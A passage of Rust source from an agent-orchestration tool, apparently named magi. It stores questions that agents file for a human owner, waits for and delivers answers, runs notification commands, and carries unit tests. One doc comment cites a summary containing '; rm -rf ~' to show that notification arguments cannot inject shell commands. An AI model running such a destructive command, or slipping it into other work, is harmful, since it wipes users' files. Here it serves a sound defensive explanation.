1759        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1760            Reference::Found(id) => Ok(id),
1761            Reference::Missing => bail!("no question matches `{prefix}`"),
1762            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1763        }
1764    }
1765
1766    /// Newest modification time in the store, in milliseconds, for change
1767    /// detection. The web UI compares this instead of re-reading every
1768    /// question, so an idle phone on a slow link costs one `stat` per file.
1769    pub fn revision(&self) -> u64 {
1770        std::fs::read_dir(&self.root)
1771            .into_iter()
1772            .flatten()
1773            .flatten()
1774            .filter_map(|e| e.metadata().ok())
1775            .filter_map(|m| m.modified().ok())
1776            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1777            .map(|d| d.as_millis() as u64)
1778            .max()
1779            .unwrap_or(0)
1780    }
1781
1782    /// How many questions are open, whichever side of the conversation is
1783    /// holding the ball right now. Ten turns of back and forth between the
1784    /// owner and the agent are still one open question - see
1785    /// [`Question::say`] - so this does not drop while a reply is in
1786    /// flight. [`Self::count_needs_owner`] is the number that does.
1787    pub fn count_open(&self) -> usize {
1788        self.list().iter().filter(|q| q.status.open()).count()
1789    }
1790
1791    /// How many open questions actually need the owner right now: open, and
1792    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1793    ///
1794    /// This is the number a notification channel owes - the ask bar, the nav
1795    /// badge, the document title - because those exist to say "something
1796    /// needs you". An unread say stops needing the agent once its follow-up
1797    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1798    /// where a round trip must not look like the run resumed.
1799    pub fn count_needs_owner(&self) -> usize {
1800        self.list()
1801            .iter()
1802            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1803            .count()
1804    }
1805
1806    /// The follow-up spent its starts and its final turn is no longer alive.
1807    /// Computed from the lease rather than saved with the question, so the
1808    /// owner can decide even when an unread message remains in the thread.
1809    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1810        q.status.open()
1811            && q.deputy
1812                .as_ref()
1813                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1814            && !self
1815                .read_lease(&q.id)
1816                .is_some_and(|l| l.fresh(Timestamp::now()))
1817    }
1818}
1819
1820/// How a wait over [`Question`] ended.
1821#[derive(Debug, Clone, PartialEq, Eq)]
1822pub enum Wait {
1823    /// The owner decided. Carries [`Question::resolution`].
1824    Answered(String),
1825    /// The owner spoke back without deciding - see [`Question::say`]. The
1826    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1827    /// the caller's move is to hand this text to the agent and let it call
1828    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1829    Replied(String),
1830    /// This call's [`WAIT_SLICE`] ran out with the question still
1831    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1832    /// going quiet, the clock on *this process* running out. The question is
1833    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1834    /// process, so the wait resumes before the shell tool that would have
1835    /// killed this one gets the chance.
1836    Pending,
1837    /// Nobody said anything before the deadline, or the question was closed
1838    /// out from under the wait with no decision recorded - a run deleted out
1839    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1840    /// now on disk.
1841    Abandoned,
1842}
1843
1844/// File a question and wait for the owner, polling the store.
1845///
1846/// The question is updated in place from disk whenever the wait ends, so the
1847/// caller can act on it without re-reading it. `timeout` is the question's
1848/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1849/// of it - see [`Wait::Pending`] for what happens to the rest.
1850pub async fn ask_and_wait(
1851    q: &mut Question,
1852    store: &Questions,
1853    notify: &config::Notify,
1854    timeout: Duration,
1855) -> Result<Wait> {
1856    wait_for_owner(q, store, notify, timeout, POLL).await
1857}
1858
1859/// Resume a wait already filed, without adding a turn or notifying again.
1860///
1861/// This is `magi ask --wait <id>`'s engine: the process that owned the
1862/// previous slice is dead (the tool that ran it killed it, or it simply
1863/// exited after reporting [`Wait::Pending`]), but the question on disk never
1864/// stopped being open, and the owner was already notified about it once. A
1865/// second notification for the same unanswered question would page the
1866/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1867/// unlike [`ask_and_wait`], this skips straight to polling.
1868///
1869/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1870/// caller computes it as what remains until [`Question::asked_at`] plus the
1871/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1872/// up the deadline the first ask set, never push it out further.
1873pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1874    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1875}
1876
1877/// [`ask_and_wait`] with the poll interval injected.
1878///
1879/// Separate only so the tests can drive a whole wait in milliseconds instead of
1880/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1881/// a knob the operator gets to tune.
1882async fn wait_for_owner(
1883    q: &mut Question,
1884    store: &Questions,
1885    cfg: &config::Notify,
1886    timeout: Duration,
1887    poll: Duration,
1888) -> Result<Wait> {
1889    // A question that is already on disk (a `--thread` reply just wrote it under
1890    // the lock) is left alone: this copy may predate an answer or say that
1891    // landed since, and writing it back would erase that.
1892    if !store.path_of(&q.id).is_file() {
1893        store.put(q).context("file the question")?;
1894    }
1895    if q.should_notify(Timestamp::now()) {
1896        if let Err(e) = notify(cfg, q).await {
1897            // A broken webhook is not a reason to throw away an implementation.
1898            // The question is already on disk and the web UI already shows it,
1899            // so the operator still has a way in; only the tap on the shoulder
1900            // is lost.
1901            tracing::warn!(
1902                "could not notify about question {}: {e:#} - the web UI is the \
1903                 only surface for it now",
1904                q.short()
1905            );
1906        }
1907    }
1908    tracing::info!(
1909        "question {} from {} is waiting for you: {}",
1910        q.short(),
1911        q.seat,
1912        q.summary
1913    );
1914    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1915}
1916
1917/// Take the wait as this process: beat the lease and note it on the record.
1918fn hold(store: &Questions, id: &str) {
1919    store.beat(id, WaiterKind::Asker);
1920    let took = store.update(id, |q| {
1921        if q.status.open() {
1922            q.waiter = Some(Waiter {
1923                kind: WaiterKind::Asker,
1924                since: Timestamp::now(),
1925            });
1926        }
1927        Ok(())
1928    });
1929    if let Err(e) = took {
1930        tracing::debug!("could not note the wait on question {id}: {e:#}");
1931    }
1932}
1933
1934/// Record that the agent has read everything so far, so the daemon waiter does
1935/// not resume a session to tell it what was already printed.
1936///
1937/// Callers must invoke this only **after** the word reached the agent's stdout:
1938/// marking first would let a tool timeout kill the process between the mark
1939/// and the print, and the waiter would then consider a word delivered that no
1940/// agent ever saw.
1941pub fn hand_over(store: &Questions, q: &mut Question) {
1942    let done = store.update(&q.id, |r| {
1943        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1944        if r.status == QuestionStatus::Answered {
1945            r.answer_delivered = true;
1946        }
1947        r.waiter = None;
1948        Ok(())
1949    });
1950    match done {
1951        Ok((fresh, ())) => *q = fresh,
1952        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1953    }
1954}
1955
1956/// What the agent is shown for an answer: the owner's says it has not read
1957/// yet, in order, then the answer. With no such say it is `answer` itself,
1958/// byte for byte.
1959pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1960    let says = q.undelivered_owner_turns();
1961    if says.is_empty() {
1962        return answer.to_owned();
1963    }
1964    format!(
1965        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1966        says.join("\n\n")
1967    )
1968}
1969
1970/// Print an answer (with any unread says before it) to `out`, flush, and only
1971/// then record the hand-over. A failed write marks nothing delivered.
1972pub fn deliver_answer(
1973    store: &Questions,
1974    q: &mut Question,
1975    answer: &str,
1976    out: &mut impl std::io::Write,
1977) -> std::io::Result<()> {
1978    writeln!(out, "{}", answer_for_agent(q, answer))?;
1979    out.flush()?;
1980    hand_over(store, q);
1981    Ok(())
1982}
1983
1984/// The polling loop shared by a fresh wait and a resumed one.
1985///
1986/// `timeout` is the budget left before the question's `answer_timeout`
1987/// truly runs out; `slice` bounds how much of that this one call spends
1988/// before handing control back. Landing on `slice` while `timeout` still has
1989/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1990/// silence. Landing on `timeout` itself - because it was no bigger than
1991/// `slice` to begin with - is the real thing, and abandons the question
1992/// exactly as a single unsliced wait always did.
1993async fn wait_loop(
1994    q: &mut Question,
1995    store: &Questions,
1996    timeout: Duration,
1997    slice: Duration,
1998    poll: Duration,
1999) -> Result<Wait> {
2000    // The owner may already have spoken back before this call ever started -
2001    // most often because they did so in the gap between an earlier call
2002    // reporting `Wait::Pending` and this one picking the wait back up with
2003    // `--wait`. That word must surface at once rather than sit unnoticed
2004    // until some *later* turn happens to change something: this call never
2005    // saw it get added, so nothing below would otherwise recognise it as
2006    // new. `last_word_awaiting_reply` reads the question's own record of
2007    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
2008    // turn count this call would have to have been there to capture.
2009    if let Some(said) = q.unread_from_owner() {
2010        return Ok(Wait::Replied(said));
2011    }
2012    hold(store, &q.id);
2013
2014    let bounded = timeout.min(slice);
2015    let is_the_real_deadline = bounded >= timeout;
2016    let deadline = tokio::time::Instant::now() + bounded;
2017    loop {
2018        let now = tokio::time::Instant::now();
2019        if now >= deadline {
2020            if !is_the_real_deadline {
2021                // The lease is left to age out on purpose: the caller is about
2022                // to run `magi ask --wait`, and that gap is what LEASE_TTL
2023                // covers.
2024                return Ok(Wait::Pending);
2025            }
2026            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2027            // Re-checked on the record as it is now: the owner may have said
2028            // something in time since the last poll, and that word is handed
2029            // over, not abandoned.
2030            let (fresh, unread) = store
2031                .update(&q.id, |r| {
2032                    let unread = r.unread_from_owner();
2033                    if unread.is_none() {
2034                        r.abandon(&why);
2035                        r.waiter = None;
2036                    }
2037                    Ok(unread)
2038                })
2039                .context("record the abandoned question")?;
2040            *q = fresh;
2041            if let Some(said) = unread {
2042                return Ok(Wait::Replied(said));
2043            }
2044            tracing::warn!(
2045                "question {} went unanswered for {}s; the run parks and the \
2046                 question stays as the record of it",
2047                q.short(),
2048                timeout.as_secs()
2049            );
2050            return Ok(Wait::Abandoned);
2051        }
2052        tokio::time::sleep(poll.min(deadline - now)).await;
2053        store.beat(&q.id, WaiterKind::Asker);
2054        match store.get(&q.id) {
2055            Ok(fresh) if !fresh.status.open() => {
2056                // Whoever answered - the phone, `magi answer`, another daemon -
2057                // owns the record now, so adopt theirs wholesale rather than
2058                // merging into a copy that predates it.
2059                *q = fresh;
2060                return Ok(match q.resolution() {
2061                    Some(a) => Wait::Answered(a),
2062                    // Closed with no decision - abandoned elsewhere, most
2063                    // often by the run behind it being deleted mid-wait.
2064                    None => Wait::Abandoned,
2065                });
2066            }
2067            Ok(fresh) => {
2068                if let Some(said) = fresh.unread_from_owner() {
2069                    *q = fresh;
2070                    return Ok(Wait::Replied(said));
2071                }
2072                // Still open and not waiting on the agent - nothing this
2073                // wait cares about happened, so keep polling.
2074            }
2075            Err(e) => {
2076                // Mid-rename, or a file the operator is editing by hand.
2077                // Neither is a reason to abandon a question a human may still
2078                // answer, so keep polling until the deadline decides.
2079                tracing::debug!("could not re-read question {}: {e:#}", q.short());
2080            }
2081        }
2082    }
2083}
2084
2085/// Run the operator's notification command, if one is configured.
2086///
2087/// The command is argv, never a shell string, and the substitutions below are a
2088/// single pass over each argument: a summary containing `; rm -rf ~` is one
2089/// argument to one program, and a summary containing the characters `{run}` is
2090/// not re-expanded. That property is the reason agent-authored text can be put
2091/// in a notification at all.
2092///
2093/// An error here is reported, not swallowed, so `magi notify --test` can show
2094/// the operator why nothing arrives. The waiting path logs it and carries on.
2095pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2096    if q.routed_task.is_some() {
2097        return Ok(());
2098    }
2099    let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2100    if q.status.open() {
2101        summary.push_str(&format!(
2102            " Respond in Questions or with `magi answer {}`.",
2103            q.id
2104        ));
2105    }
2106    let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2107    notify_at(cmd, &q.run, &summary, &url).await
2108}
2109
2110/// [`notify`] for an event that is not a question: the same command, the same
2111/// placeholders, with `summary` and `run` supplied directly.
2112pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2113    let url = view_url(
2114        &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2115        "notifications",
2116    );
2117    notify_at(cmd, run, summary, &url).await
2118}
2119
2120async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2121    let Some((program, args)) = cmd.command.split_first() else {
2122        // No command configured: the web UI is the only surface, by choice.
2123        return Ok(());
2124    };
2125    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2126        tracing::warn!(
2127            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2128             so the link will be empty - export it next to `magi serve` with \
2129             the address `magi web --open` printed"
2130        );
2131    }
2132    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2133    tracing::debug!(program = %program, args = ?argv, "notifying");
2134
2135    let mut child = tokio::process::Command::new(program);
2136    child.quiet();
2137    child
2138        .args(&argv)
2139        .stdin(std::process::Stdio::null())
2140        // Killed if the timeout below drops this future: a notification
2141        // command left running would outlive the run it was announcing.
2142        .kill_on_drop(true);
2143    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2144        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2145        Err(_) => bail!(
2146            "notification command `{program}` did not finish within {}s",
2147            NOTIFY_TIMEOUT.as_secs()
2148        ),
2149    };
2150    if !out.status.success() {
2151        let stderr = String::from_utf8_lossy(&out.stderr);
2152        let why = stderr
2153            .lines()
2154            .rev()
2155            .find(|l| !l.trim().is_empty())
2156            .unwrap_or("no output on stderr")
2157            .trim();
2158        bail!(
2159            "notification command `{program}` exited with {}: {why}",
2160            out.status
2161        );
2162    }
2163    Ok(())
2164}
2165
2166/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
2167///
2168/// One left-to-right pass, so a substituted value is never scanned for further
2169/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
2170/// in a question must not make the notification recursive.
2171fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2172    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2173    let mut out = String::with_capacity(template.len());
2174    let mut rest = template;
2175    while let Some(at) = rest.find('{') {
2176        out.push_str(&rest[..at]);
2177        let tail = &rest[at..];
2178        match table.iter().find(|(token, _)| tail.starts_with(token)) {
2179            Some((token, value)) => {
2180                out.push_str(value);
2181                rest = &tail[token.len()..];
2182            }
2183            None => {
2184                // Not a placeholder magi knows: it is the operator's own text.
2185                out.push('{');
2186                rest = &tail[1..];
2187            }
2188        }
2189    }
2190    out.push_str(rest);
2191    out
2192}
2193
2194/// Point a configured base URL at the view that can answer the question.
2195///
2196/// A notification the operator has to navigate from is a question that stays
2197/// unanswered until morning, so the questions view is appended - unless the
2198/// operator already wrote a fragment, in which case they have said where they
2199/// want to land and magi does not know better.
2200fn question_url(base: &str) -> String {
2201    view_url(base, "questions")
2202}
2203
2204fn view_url(base: &str, view: &str) -> String {
2205    let base = base.trim().trim_end_matches('/');
2206    if base.is_empty() || base.contains('#') {
2207        return base.to_owned();
2208    }
2209    format!("{base}/#/{view}")
2210}
2211
2212/// Assemble a panel's contents in an already-empty directory.
2213///
2214/// Split out so [`Questions::put_panel`] can delete the whole directory on the
2215/// first error without an early `return` skipping that cleanup.
2216fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2217    let index = dir.join(PANEL_HTML);
2218    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2219    for (name, src) in assets {
2220        let dst = dir.join(name);
2221        std::fs::copy(src, &dst)
2222            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2223    }
2224    Ok(())
2225}
2226
2227/// Remove a directory and everything under it, treating "not there" as done.
2228///
2229/// A panel is replaced wholesale and dropped idempotently, and in both cases
2230/// the absence of the directory is the desired end state, not an error.
2231fn clear_dir(path: &Path) -> Result<()> {
2232    match std::fs::remove_dir_all(path) {
2233        Ok(()) => Ok(()),
2234        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2235        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2236    }
2237}
2238
2239fn read_path(path: &Path) -> Result<Question> {
2240    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2241    let q: Question =
2242        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2243    if q.schema > SCHEMA {
2244        // Strictly newer, not merely different: every field added since
2245        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
2246        // here as "no thread yet" rather than as garbage. Only a schema this
2247        // build has never heard of is refused.
2248        bail!(
2249            "question {} was written by a newer magi (schema {}, this build \
2250             only speaks up to {SCHEMA})",
2251            q.id,
2252            q.schema
2253        );
2254    }
2255    Ok(q)
2256}
2257
2258/// [`short`] for callers outside this module (a run id shortens the same way).
2259pub fn short_id(id: &str) -> &str {
2260    short(id)
2261}
2262
2263fn short(id: &str) -> &str {
2264    id.split('-').next_back().unwrap_or(id)
2265}
2266
2267fn new_id() -> String {
2268    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2269    new_id_at(&stamp.to_string(), crate::rng::entropy())
2270}
2271
2272fn new_id_at(stamp: &str, seed: u64) -> String {
2273    // Questions can be created concurrently in one shared store. A 16-bit
2274    // suffix is only a display label, not enough identity to keep distinct
2275    // questions (and their panel scratch directories) from overwriting each
2276    // other. The counter also separates calls with identical clock entropy.
2277    static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2278    let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2279    format!(
2280        "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2281        (seed ^ (seed >> 32)) & 0xffff
2282    )
2283}
2284
2285#[cfg(test)]
2286mod tests {
2287    use super::*;
2288
2289    /// A store of its own, with no process-global state - which is the point of
2290    /// `Questions::at`, and why these can run in parallel.
2291    fn store() -> (tempfile::TempDir, Questions) {
2292        let dir = tempfile::tempdir().unwrap();
2293        let s = Questions::at(dir.path().join("questions"));
2294        (dir, s)
2295    }
2296
2297    #[test]
2298    fn run_names_task_only_for_task_questions() {
2299        for (node, want) in [
2300            (crate::conduct::NODE, true),
2301            (crate::triage::NODE, true),
2302            (crate::triage::DEPS_NODE, true),
2303            (crate::land::APPROVAL_NODE, false),
2304            (crate::bump::NOTICE_NODE, false),
2305            ("implement", false),
2306        ] {
2307            let mut q = choice_question();
2308            q.node = node.to_owned();
2309            assert_eq!(q.run_names_task(), want, "{node}");
2310        }
2311    }
2312
2313    #[test]
2314    fn deleting_a_run_stops_its_questions_asking() {
2315        let (_dir, store) = store();
2316
2317        let mut open_one = choice_question();
2318        store.put(&mut open_one).unwrap();
2319        let mut answered = free_question();
2320        answered
2321            .answer(Answer::Text("keep this".to_owned()))
2322            .unwrap();
2323        store.put(&mut answered).unwrap();
2324        let mut elsewhere = choice_question();
2325        elsewhere.run = "20260903-105039-3cbf".to_owned();
2326        store.put(&mut elsewhere).unwrap();
2327
2328        let n = store
2329            .abandon_for_run(&open_one.run, "run was deleted")
2330            .unwrap();
2331        assert_eq!(n, 1, "only the open question of that run");
2332
2333        let back = store.get(&open_one.id).unwrap();
2334        assert!(!back.status.open(), "it no longer asks for a decision");
2335        assert!(
2336            back.detail.contains("run was deleted"),
2337            "the operator can see why: {}",
2338            back.detail
2339        );
2340
2341        let kept = store.get(&answered.id).unwrap();
2342        assert_eq!(
2343            kept.status,
2344            QuestionStatus::Answered,
2345            "an answered question is a decision on record, not something to revoke"
2346        );
2347        assert!(
2348            store.get(&elsewhere.id).unwrap().status.open(),
2349            "another run's question is untouched"
2350        );
2351        assert!(store.open_for(&open_one.run).is_empty());
2352    }
2353
2354    #[test]
2355    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2356        let (_dir, store) = store();
2357        let mut q = choice_question();
2358        store.put(&mut q).unwrap();
2359
2360        // `Blocked` can still be resumed - leave it exactly as it was.
2361        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2362        assert_eq!(n, 0);
2363        assert!(store.get(&q.id).unwrap().status.open());
2364
2365        // `Failed` is not - abandon it, with the run and its fate in the
2366        // reason so the owner can tell what happened without a run to read.
2367        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2368        assert_eq!(n, 1);
2369        let back = store.get(&q.id).unwrap();
2370        assert!(!back.status.open());
2371        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2372
2373        // A second call against the same, now-settled run finds nothing left.
2374        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2375    }
2376
2377    #[test]
2378    fn settle_run_keeps_an_undelivered_routed_decision() {
2379        let (_dir, store) = store();
2380        let mut q = choice_question();
2381        q.routed_task = Some("task".into());
2382        store.put(&mut q).unwrap();
2383        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2384        assert!(store.get(&q.id).unwrap().status.open());
2385
2386        // Once the chat has it, the ordinary settlement applies again.
2387        store
2388            .update(&q.id, |r| {
2389                r.routed_chat = Some("chat".into());
2390                Ok(())
2391            })
2392            .unwrap();
2393        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2394    }
2395
2396    fn choice_question() -> Question {
2397        Question::new(
2398            "20260902-201256-9fb7".to_owned(),
2399            "implement".to_owned(),
2400            "impl-A".to_owned(),
2401            "Which storage backend should the cache use?".to_owned(),
2402            "Both are already dependencies.".to_owned(),
2403            vec!["SQLite".to_owned(), "Redis".to_owned()],
2404        )
2405    }
2406
2407    fn free_question() -> Question {
2408        Question::new(
2409            "20260902-201256-9fb7".to_owned(),
2410            "review".to_owned(),
2411            "rev-1".to_owned(),
2412            "What should the error message say?".to_owned(),
2413            String::new(),
2414            Vec::new(),
2415        )
2416    }
2417
2418    /// No notification, which is the default and what most of these want.
2419    fn quiet() -> config::Notify {
2420        config::Notify::default()
2421    }
2422
2423    #[test]
2424    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2425        // The front end parses these names by hand; there is no shared schema
2426        // and no compiler between the two. A rename here is a UI that shows an
2427        // empty card and reports no error, so the names are asserted literally.
2428        let mut q = choice_question();
2429        q.id = "20260902-231501-ab12".to_owned();
2430        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2431        // `serde_json::Value` holds an object's keys sorted, and key order
2432        // means nothing to a JSON reader anyway: the field *set* is what the
2433        // front end was written against, so that is what is pinned here.
2434        let keys: Vec<&str> = open
2435            .as_object()
2436            .unwrap()
2437            .keys()
2438            .map(String::as_str)
2439            .collect();
2440        assert_eq!(
2441            keys,
2442            [
2443                "actions",
2444                "answer",
2445                "answer_delivered",
2446                "answer_timeout",
2447                "answered_at",
2448                "asked_at",
2449                "assets",
2450                "choices",
2451                "consult",
2452                "cwd",
2453                "decision_context",
2454                "delivered_turns",
2455                "deputy",
2456                "detail",
2457                "id",
2458                "merge_target",
2459                "node",
2460                "panel",
2461                "routed_chat",
2462                "routed_task",
2463                "run",
2464                "schema",
2465                "seat",
2466                "status",
2467                "summary",
2468                "thread",
2469                "triage_generation",
2470                "waiter",
2471            ],
2472            "the on-disk field set is a contract with the front end"
2473        );
2474        assert_eq!(open["schema"], 13);
2475        assert_eq!(open["merge_target"], serde_json::Value::Null);
2476        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2477        assert_eq!(open["thread"], serde_json::json!([]));
2478        assert_eq!(open["id"], "20260902-231501-ab12");
2479        assert_eq!(open["run"], "20260902-201256-9fb7");
2480        assert_eq!(open["node"], "implement");
2481        assert_eq!(open["seat"], "impl-A");
2482        assert_eq!(open["status"], "open");
2483        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2484        assert_eq!(open["answered_at"], serde_json::Value::Null);
2485        assert_eq!(open["answer"], serde_json::Value::Null);
2486        let asked = open["asked_at"].as_str().unwrap();
2487        assert!(
2488            asked.ends_with('Z') && asked.contains('T'),
2489            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2490        );
2491
2492        // A chosen option, exactly as the contract spells it.
2493        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2494        let answered = serde_json::to_value(&q).unwrap();
2495        assert_eq!(answered["status"], "answered");
2496        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2497        assert!(answered["answered_at"].is_string());
2498
2499        // And free text, which is the other of the two forms.
2500        let mut free = free_question();
2501        free.answer(Answer::Text("Say which file it was".to_owned()))
2502            .unwrap();
2503        assert_eq!(
2504            serde_json::to_value(&free).unwrap()["answer"],
2505            serde_json::json!({"text": "Say which file it was"})
2506        );
2507
2508        // And it survives the round trip a reader actually performs.
2509        let body = serde_json::to_string(&q).unwrap();
2510        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2511    }
2512
2513    #[test]
2514    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2515        let (_dir, store) = store();
2516        let mut q = approval_question();
2517        q.merge_target = Some(crate::merge_decision::Target {
2518            pr: "https://github.com/example/repo/pull/42".into(),
2519            head: "reviewed-head".into(),
2520            language: "ja".into(),
2521        });
2522        store.put(&mut q).unwrap();
2523        let saved = store.get(&q.id).unwrap();
2524        assert_eq!(saved, q);
2525        let mut body = serde_json::to_value(&saved).unwrap();
2526        assert_eq!(body["schema"], 13);
2527        assert_eq!(
2528            body["merge_target"],
2529            serde_json::json!({
2530                "pr": "https://github.com/example/repo/pull/42",
2531                "head": "reviewed-head",
2532                "language": "ja"
2533            })
2534        );
2535
2536        // Earlier merge/hold cards have no target field. Read the actual
2537        // on-disk shape through the store, including its schema guard.
2538        body["schema"] = serde_json::json!(10);
2539        body.as_object_mut().unwrap().remove("merge_target");
2540        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2541        let legacy = store.get(&q.id).unwrap();
2542        assert_eq!(legacy.schema, 10);
2543        assert!(legacy.merge_target.is_none());
2544        assert_eq!(legacy.choices, q.choices);
2545        assert_eq!(legacy.status, q.status);
2546    }
2547
2548    #[test]
2549    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2550        // Four different mistakes, four different fixes: the web handler shows
2551        // these strings to the person who made them.
2552        let mut unoffered = choice_question();
2553        let a = unoffered
2554            .answer(Answer::Choice("Postgres".to_owned()))
2555            .unwrap_err()
2556            .to_string();
2557
2558        let mut typed = choice_question();
2559        let b = typed
2560            .answer(Answer::Text("use Postgres".to_owned()))
2561            .unwrap_err()
2562            .to_string();
2563
2564        let mut blank = free_question();
2565        let c = blank
2566            .answer(Answer::Text("   \n".to_owned()))
2567            .unwrap_err()
2568            .to_string();
2569
2570        let mut twice = choice_question();
2571        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2572        let d = twice
2573            .answer(Answer::Choice("Redis".to_owned()))
2574            .unwrap_err()
2575            .to_string();
2576
2577        assert!(a.contains("not one of the choices"), "{a}");
2578        assert!(b.contains("multiple choice"), "{b}");
2579        assert!(c.contains("empty"), "{c}");
2580        assert!(d.contains("already answered"), "{d}");
2581        let mut distinct = vec![a, b, c, d];
2582        let asked = distinct.len();
2583        distinct.sort_unstable();
2584        distinct.dedup();
2585        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2586
2587        // The refused ones are still open, so the owner can answer properly.
2588        assert_eq!(unoffered.status, QuestionStatus::Open);
2589        assert_eq!(typed.status, QuestionStatus::Open);
2590        assert_eq!(blank.status, QuestionStatus::Open);
2591        // And the first answer to the double-answered one survived.
2592        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2593
2594        // Free text refuses a fabricated choice for the mirror-image reason.
2595        let mut free = free_question();
2596        let e = free
2597            .answer(Answer::Choice("SQLite".to_owned()))
2598            .unwrap_err()
2599            .to_string();
2600        assert!(e.contains("free text"), "{e}");
2601    }
2602
2603    #[test]
2604    fn open_questions_are_listed_before_answered_ones() {
2605        let (_dir, s) = store();
2606        // Ids carry a timestamp, so force a known order: the answered one is
2607        // the newest, and must still sort below the open ones.
2608        let mut old_open = choice_question();
2609        old_open.id = "20260101-000001-aaaa".to_owned();
2610        let mut new_open = choice_question();
2611        new_open.id = "20260101-000002-bbbb".to_owned();
2612        let mut answered = choice_question();
2613        answered.id = "20260101-000003-cccc".to_owned();
2614        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2615        for q in [&mut old_open, &mut new_open, &mut answered] {
2616            s.put(q).unwrap();
2617        }
2618
2619        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2620        assert_eq!(
2621            ids,
2622            [
2623                "20260101-000002-bbbb",
2624                "20260101-000001-aaaa",
2625                "20260101-000003-cccc"
2626            ],
2627            "what has stopped work comes first; history sorts underneath"
2628        );
2629        assert_eq!(s.count_open(), 2);
2630        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2631        assert!(s.open_for("some-other-run").is_empty());
2632        // The short id is what the phone and the reports show.
2633        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2634        assert!(s.get("20260101-000002-bbbb").is_ok());
2635        assert!(s.resolve_id("nope").is_err());
2636        assert!(
2637            s.revision() > 0,
2638            "the store's mtime drives the phone's polling"
2639        );
2640    }
2641
2642    #[test]
2643    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2644        let (_dir, s) = store();
2645        let mut good = choice_question();
2646        s.put(&mut good).unwrap();
2647        // Truncated by a killed writer, and written by a magi from the future.
